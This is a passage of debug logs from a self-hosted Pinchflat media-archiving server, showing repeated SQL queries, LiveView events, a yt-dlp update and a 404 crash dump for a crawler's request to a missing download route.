AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:07:59.164 [debug] QUERY OK source="media_items" db=0.2ms idle=1.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:07:59.164 [debug] Replied in 796µs 23:07:59.164 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:07:59.164 [debug] Replied in 33µs 23:07:59.170 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 23:07:59.170 [debug] Replied in 36µs 23:08:00.022 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:08:00.204 [info] CONNECTED TO Phoenix.LiveView.Socket in 14µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DHxrGhtFKiQmDjoLPn4KZQhAQWdGcB8HC51xZ6ymaaPEW6C7R1u344yB", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:08:00.207 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending", "source_id" => 1} 23:08:00.207 [debug] QUERY OK source="sources" db=0.1ms idle=1043.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:00.207 [debug] QUERY OK source="media_items" db=0.1ms idle=1043.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:08:00.208 [debug] QUERY OK source="media_items" db=0.1ms idle=1043.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:08:00.208 [debug] Replied in 720µs 23:08:00.208 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded", "source_id" => 1} 23:08:00.208 [debug] QUERY OK source="sources" db=0.0ms idle=186.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:00.208 [debug] QUERY OK source="media_items" db=0.0ms idle=185.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:08:00.208 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:08:00.208 [debug] Replied in 666µs 23:08:00.209 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "other", "source_id" => 1} 23:08:00.209 [debug] QUERY OK source="sources" db=0.1ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:00.210 [debug] QUERY OK source="media_items" db=0.1ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:08:00.210 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:08:00.210 [debug] Replied in 1ms 23:08:00.210 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:08:00.210 [debug] Replied in 33µs 23:08:00.220 [debug] HANDLE EVENT "check_matching_text" in Pinchflat.UpgradeButtonLive Parameters: %{"_target" => ["unlock-pro-textbox"], "_unused_unlock-pro-textbox" => "", "unlock-pro-textbox" => ""} 23:08:00.220 [debug] Replied in 40µs 23:08:00.870 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Current version: stable@2025.09.26 from yt-dlp/yt-dlp Latest version: stable@2026.03.17 from yt-dlp/yt-dlp Current Build Hash: d2f07382138f4bd882254996502636f5a67a8c5ee5ab8a25807e2784a4878642 Updating to stable@2026.03.17 from yt-dlp/yt-dlp ... Updated yt-dlp to stable@2026.03.17 from yt-dlp/yt-dlp 23:08:00.870 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 23:08:01.278 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.03.17 23:08:01.279 [debug] QUERY OK source="settings" db=0.1ms idle=1070.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:01.279 [debug] QUERY OK source="settings" db=0.0ms idle=1069.4ms UPDATE "settings" SET "yt_dlp_version" = ? WHERE "id" = ? ["2026.03.17", 1] 23:08:01.279 [info] {"args":{},"id":117,"meta":{},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":2249041,"event":"job:stop","queue_time":29952,"attempt":1,"tags":["local_data"]} 23:08:16.807 [info] GET /sources/1/media/36/force_download 23:08:16.808 [debug] QUERY OK source="settings" db=0.2ms idle=756.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:16.808 [debug] QUERY OK source="settings" db=0.1ms idle=303.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:16.809 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:08:16.809 [error] #PID<0.2645.0> running PinchflatWeb.Endpoint (connection #PID<0.2644.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/36/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/36/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 51790}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/36", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2645.0>, params: %{}, path_info: ["sources", "1", "media", "36", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/36"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/36/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDigPy0G1X7vgwAABMD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 51790}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/36", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/36/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2644.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/36/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 51790}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/36", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.2645.0>, params: %{}, path_info: ["sources", "1", "media", "36", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => { (truncated) 23:08:23.942 [info] GET / 23:08:23.942 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 23:08:23.943 [debug] QUERY OK source="settings" db=0.3ms idle=1437.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:23.943 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=1438.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 23:08:23.944 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1438.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 23:08:23.945 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1439.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:23.945 [debug] QUERY OK source="media_items" db=0.1ms idle=882.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:23.946 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:23.946 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:23.947 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:08:23.948 [debug] QUERY OK source="tasks" db=0.3ms idle=2.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:08:23.949 [debug] QUERY OK source="media_items" db=0.1ms queue=0.1ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:08:23.951 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:08:23.951 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:08:23.955 [debug] QUERY OK source="media_items" db=0.4ms queue=0.3ms idle=7.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:08:23.957 [debug] QUERY OK source="media_items" db=0.6ms queue=0.3ms idle=7.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND 